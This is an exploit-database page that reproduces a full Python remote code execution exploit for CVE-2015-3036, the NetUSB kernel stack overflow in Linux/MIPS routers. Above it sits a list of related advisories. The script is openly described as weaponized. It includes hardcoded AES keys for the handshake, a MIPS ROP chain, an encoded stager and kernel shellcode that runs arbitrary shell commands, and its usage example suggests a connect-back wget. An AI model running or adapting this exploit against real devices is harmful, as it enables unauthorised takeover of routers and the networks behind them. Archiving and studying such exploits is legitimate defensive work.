| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Linux/MIPS Kernel NetUSB - Remote Code Execution Exploit | 14 Oct 201500:00 | – | zdt | |
| NetUSB Kernel Stack Buffer Overflow Exploit | 29 Oct 201500:00 | – | zdt | |
| CVE-2015-3036 | 31 Aug 202503:13 | – | circl | |
| KCodes NetUSB module for Linux kernel stack buffer overflow vulnerability | 21 May 201500:00 | – | cnvd | |
| CVE-2015-3036 | 21 May 201501:00 | – | cve | |
| CVE-2015-3036 | 21 May 201501:00 | – | cvelist | |
| NetUSB - Kernel Stack Buffer Overflow | 29 Oct 201500:00 | – | exploitdb | |
| NetUSB - Kernel Stack Buffer Overflow | 29 Oct 201500:00 | – | exploitpack | |
| LinuxMIPS Kernel 2.6.36 - NetUSB Remote Code Execution | 14 Oct 201500:00 | – | exploitpack | |
| CVE-2015-3036 | 21 May 201501:59 | – | nvd |
#!/usr/bin/env python
# Source: http://haxx.in/blasty-vs-netusb.py
#
# CVE-2015-3036 - NetUSB Remote Code Execution exploit (Linux/MIPS)
# ===========================================================================
# This is a weaponized exploit for the NetUSB kernel vulnerability
# discovered by SEC Consult Vulnerability Lab. [1]
#
# I don't like lazy vendors, I've seen some DoS PoC's floating around
# for this bug.. and it's been almost five(!) months. So lets kick it up
# a notch with an actual proof of concept that yields code exec.
#
# So anyway.. a remotely exploitable kernel vulnerability, exciting eh. ;-)
#
# Smash stack, ROP, decode, stage, spawn userland process. woo!
#
# Currently this is weaponized for one target device (the one I own, I was
# planning on porting OpenWRT but got sidetracked by the NetUSB stuff in
# the default firmware image, oooops. ;-D).
#
# This python script is horrible, but its not about the glue, its about
# the tech contained therein. Some things *may* be (intentionally?) botched..
# lets see if "the community" cares enough to develop this any further,
# I need to move on with life. ;-D
#
# Shoutouts to all my boys & girls around the world, you know who you are!
#
# Peace,
# -- blasty <[email protected]> // 20151013
#
# References:
# [1] : https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt
# /20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt
#
import os, sys, struct, socket, time
from Crypto.Cipher import AES
def u32(v):
return struct.pack("<L", v)
def banner():
print ""
print "## NetUSB (CVE-2015-3036) remote code execution exploit"
print "## by blasty <[email protected]>"
print ""
def usage(prog):
print "usage : %s <host> <port> <cmd>" % (prog)
print "example : %s 127.0.0.1 20005 'wget connectback..." % (prog)
print ""
banner()
if len(sys.argv) != 4:
usage(sys.argv[0])
exit(0)
cmd = sys.argv[3]
# Here's one, give us more! (hint: /proc/kallsyms and objdump, bro)
targets = [
{
"name" : "WNDR3700v5 - Linux 2.6.36 (mips32-le)",
"kernel_base" : 0x80001000,
# adjust to offset used in 'load_addr_and_jump' gadget
# should be some big immediate to avoid NUL bytes
"load_addr_offset" : 4156,
"gadgets" : {
# 8c42103c lw v0,4156(v0)
# 0040f809 jalr v0
# 00000000 nop
'load_addr_and_jump' : 0x1f548,
# 8fa20010 lw v0,16(sp)
# 8fbf001c lw ra,28(sp)
# 03e00008 jr ra
# 27bd0020 addiu sp,sp,32
'load_v0_and_ra' : 0x34bbc,
# 27b10010 addiu s1,sp,16
# 00602021 move a0,v1
# 0040f809 jalr v0
# 02202821 move a1,s1
'move_sp_plus16_to_s1' : 0x63570,
# 0220f809 jalr s1
# 00000000 nop
'jalr_s1' : 0x63570,
'a_r4k_blast_dcache' : 0x6d4678,
'kmalloc' : 0xb110c,
'ks_recv' : 0xc145e270,
'call_usermodehelper_setup' : 0x5b91c,
'call_usermodehelper_exec' : 0x5bb20
}
}
]
# im lazy, hardcoded to use the only avail. target for now
# hey, at least I made it somewhat easy to easily add new targets
target = targets[0]
# hullo there.
hello = "\x56\x03"
# sekrit keyz that are hardcoded in netusb.ko, sorry KCodes
# people, this is not how you implement auth. lol.
aesk0 = "0B7928FF6A76223C21A3B794084E1CAD".decode('hex')
aesk1 = "A2353556541CFE44EC468248064DE66C".decode('hex')
key = aesk1
IV = "\x00"*16
mode = AES.MODE_CBC
aes = AES.new(key, mode, IV=IV)
aesk0_d = aes.decrypt(aesk0)
aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)
s = socket.create_connection((sys.argv[1], int(sys.argv[2], 0)))
print "[>] sending HELLO pkt"
s.send(hello)
time.sleep(0.2)
verify_data = "\xaa"*16
print "[>] sending verify data"
s.send(verify_data)
time.sleep(0.2)
print "[>] reading response"
data = s.recv(0x200)
print "[!] got %d bytes .." % len(data)
print "[>] data: " + data.encode('hex')
pkt = aes2.decrypt(data)
print "[>] decr: " + pkt.encode("hex")
if pkt[0:16] != "\xaa"*16:
print "[!] error: decrypted rnd data mismatch :("
exit(-1)
rnd = data[16:]
aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)
pkt_c = aes2.encrypt(rnd)
print "[>] sending back crypted random data"
s.send(pkt_c)
# Once upon a time..
d = "A"
# hardcoded decoder_key, this one is 'safe' for the current stager
decoder_key = 0x1337babf
# NUL-free mips code which decodes the next stage,
# flushes the d-cache, and branches there.
# loosely inspired by some shit Julien Tinnes once wrote.
decoder_stub = [
0x0320e821, # move sp,t9
0x27a90168, # addiu t1,sp,360
0x2529fef0, # addiu t1,t1,-272
0x240afffb, # li t2,-5
0x01405027, # nor t2,t2,zero
0x214bfffc, # addi t3,t2,-4
0x240cff87, # li t4,-121
0x01806027, # nor t4,t4,zero
0x3c0d0000, # [8] lui t5, xorkey@hi
0x35ad0000, # [9] ori t5,t5, xorkey@lo
0x8d28fffc, # lw t0,-4(t1)
0x010d7026, # xor t6,t0,t5
0xad2efffc, # sw t6,-4(t1)
0x258cfffc, # addiu t4,t4,-4
0x140cfffb, # bne zero,t4,0x28
0x012a4820, # add t1,t1,t2
0x3c190000, # [16] lui t9, (a_r4k_blast_dcache-0x110)@hi
0x37390000, # [17] ori t9,t9,(a_r4k_blast_dcache-0x110)@lo
0x8f390110, # lw t9,272(t9)
0x0320f809, # jalr t9
0x3c181234, # lui t8,0x1234
]
# patch xorkey into decoder stub
decoder_stub[8] = decoder_stub[8] | (decoder_key >> 16)
decoder_stub[9] = decoder_stub[9] | (decoder_key & 0xffff)
r4k_blast_dcache = target['kernel_base']
r4k_blast_dcache = r4k_blast_dcache + target['gadgets']['a_r4k_blast_dcache']
# patch the r4k_blast_dcache address in decoder stub
decoder_stub[16] = decoder_stub[16] | (r4k_blast_dcache >> 16)
decoder_stub[17] = decoder_stub[17] | (r4k_blast_dcache & 0xffff)
# pad it out
d += "A"*(233-len(d))
# kernel payload stager
kernel_stager = [
0x27bdffe0, # addiu sp,sp,-32
0x24041000, # li a0,4096
0x24050000, # li a1,0
0x3c190000, # [3] lui t9,kmalloc@hi
0x37390000, # [4] ori t9,t9,kmalloc@lo
0x0320f809, # jalr t9
0x00000000, # nop
0x0040b821, # move s7,v0
0x02602021, # move a0,s3
0x02e02821, # move a1,s7
0x24061000, # li a2,4096
0x00003821, # move a3,zero
0x3c190000, # [12] lui t9,ks_recv@hi
0x37390000, # [13] ori t9,t9,ks_recv@lo
0x0320f809, # jalr t9
0x00000000, # nop
0x3c190000, # [16] lui t9,a_r4k_blast_dcache@hi
0x37390000, # [17] ori t9,t9,a_r4k_blast_dcache@lo
0x8f390000, # lw t9,0(t9)
0x0320f809, # jalr t9
0x00000000, # nop
0x02e0f809, # jalr s7
0x00000000 # nop
]
kmalloc = target['kernel_base'] + target['gadgets']['kmalloc']
ks_recv = target['gadgets']['ks_recv']
# patch kernel stager
kernel_stager[3] = kernel_stager[3] | (kmalloc >> 16)
kernel_stager[4] = kernel_stager[4] | (kmalloc & 0xffff)
kernel_stager[12] = kernel_stager[12] | (ks_recv >> 16)
kernel_stager[13] = kernel_stager[13] | (ks_recv & 0xffff)
kernel_stager[16] = kernel_stager[16] | (r4k_blast_dcache >> 16)
kernel_stager[17] = kernel_stager[17] | (r4k_blast_dcache & 0xffff)
# a ROP chain for MIPS, always ew.
rop = [
# this gadget will
# v0 = *(sp+16)
# ra = *(sp+28)
# sp += 32
target['kernel_base'] + target['gadgets']['load_v0_and_ra'],
# stack for the g_load_v0_and_ra gadget
0xaaaaaaa1, # sp+0
0xaaaaaaa2, # sp+4
0xaaaaaaa3, # sp+8
0xaaaaaaa4, # sp+12
r4k_blast_dcache - target['load_addr_offset'], # sp+16 / v0
0xaaaaaaa6, # sp+20
0xaaaaaaa7, # sp+24
# this gadget will
# v0 = *(v0 + 4156)
# v0();
# ra = *(sp + 20)
# sp += 24
# ra();
target['kernel_base'] + target['gadgets']['load_addr_and_jump'], # sp+28
0xbbbbbbb2,
0xccccccc3,
0xddddddd4,
0xeeeeeee5,
0xeeeeeee6,
# this is the RA fetched by g_load_addr_and_jump
target['kernel_base'] + target['gadgets']['load_v0_and_ra'],
# stack for the g_load_v0_and_ra gadget
0xaaaaaaa1, # sp+0
0xaaaaaaa2, # sp+4
0xaaaaaaa3, # sp+8
0xaaaaaaa4, # sp+12
target['kernel_base'] + target['gadgets']['jalr_s1'], # sp+16 / v0
0xaaaaaaa6, # sp+20
0xaaaaaaa7, # sp+24
target['kernel_base'] + target['gadgets']['move_sp_plus16_to_s1'], # ra
# second piece of native code getting executed, pivot back in the stack
0x27b9febc, # t9 = sp - offset
0x0320f809, # jalr t9
0x3c181234, # nop
0x3c181234, # nop
# first native code getting executed, branch back to previous 4 opcodes
0x03a0c821, # move t9, sp
0x0320f809, # jalr t9
0x3c181234,
]
# append rop chain to buffer
for w in rop:
d += u32(w)
# append decoder_stub to buffer
for w in decoder_stub:
d += u32(w)
# encode stager and append to buffer
for w in kernel_stager:
d += u32(w ^ decoder_key)
print "[>] sending computername_length.."
time.sleep(0.1)
s.send(struct.pack("<L", len(d)))
print "[>] sending payload.."
time.sleep(0.1)
s.send(d)
time.sleep(0.1)
print "[>] sending stage2.."
# a useful thing to do when you bust straight into the kernel
# is to go back to userland, huhuhu.
# thanks to jix for the usermodehelper suggestion! :)
kernel_shellcode = [
0x3c16dead, # lui s6,0xdead
0x3c19dead, # lui t9,0xdead
0x3739c0de, # ori t9,t9,0xc0de
0x2404007c, # li a0, argv
0x00972021, # addu a0,a0,s7
0x2405008c, # li a1, argv0
0x00b72821, # addu a1,a1,s7
0xac850000, # sw a1,0(a0)
0x24050094, # li a1, argv1
0x00b72821, # addu a1,a1,s7
0xac850004, # sw a1,4(a0)
0x24060097, # li a2, argv2
0x00d73021, # addu a2,a2,s7
0xac860008, # sw a2,8(a0)
0x00802821, # move a1,a0
0x2404008c, # li a0, argv0
0x00972021, # addu a0,a0,s7
0x24060078, # li a2, envp
0x00d73021, # addu a2,a2,s7
0x24070020, # li a3,32
0x3c190000, # [20] lui t9,call_usermodehelper_setup@hi
0x37390000, # [21] ori t9,t9,call_usermodehelper_setup@lo
# call_usermodehelper_setup(argv[0], argv, envp, GPF_ATOMIC)
0x0320f809, # jalr t9
0x00000000, # nop
0x00402021, # move a0,v0
0x24050002, # li a1,2
0x3c190000, # [26] lui t9,call_usermodehelper_exec@hi
0x37390000, # [27] ori t9,t9,call_usermodehelper_exec@lo
# call_usermodehelper_exec(retval, UHM_WAIT_PROC)
0x0320f809, # jalr t9
0x00000000, # nop
# envp ptr
0x00000000,
# argv ptrs
0x00000000,
0x00000000,
0x00000000,
0x00000000
]
usermodehelper_setup = target['gadgets']['call_usermodehelper_setup']
usermodehelper_exec = target['gadgets']['call_usermodehelper_exec']
# patch call_usermodehelper_setup into kernel shellcode
kernel_shellcode[20] = kernel_shellcode[20] | (usermodehelper_setup>>16)
kernel_shellcode[21] = kernel_shellcode[21] | (usermodehelper_setup&0xffff)
# patch call_usermodehelper_setup into kernel shellcode
kernel_shellcode[26] = kernel_shellcode[26] | (usermodehelper_exec>>16)
kernel_shellcode[27] = kernel_shellcode[27] | (usermodehelper_exec&0xffff)
payload = ""
for w in kernel_shellcode:
payload += u32(w)
payload += "/bin/sh\x00"
payload += "-c\x00"
payload += cmd
# and now for the moneyshot
s.send(payload)
print "[~] KABOOM! Have a nice day."Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation